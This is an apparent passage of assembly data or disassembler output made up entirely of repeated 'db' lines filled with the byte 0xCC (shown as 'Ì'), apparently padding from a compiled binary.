		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
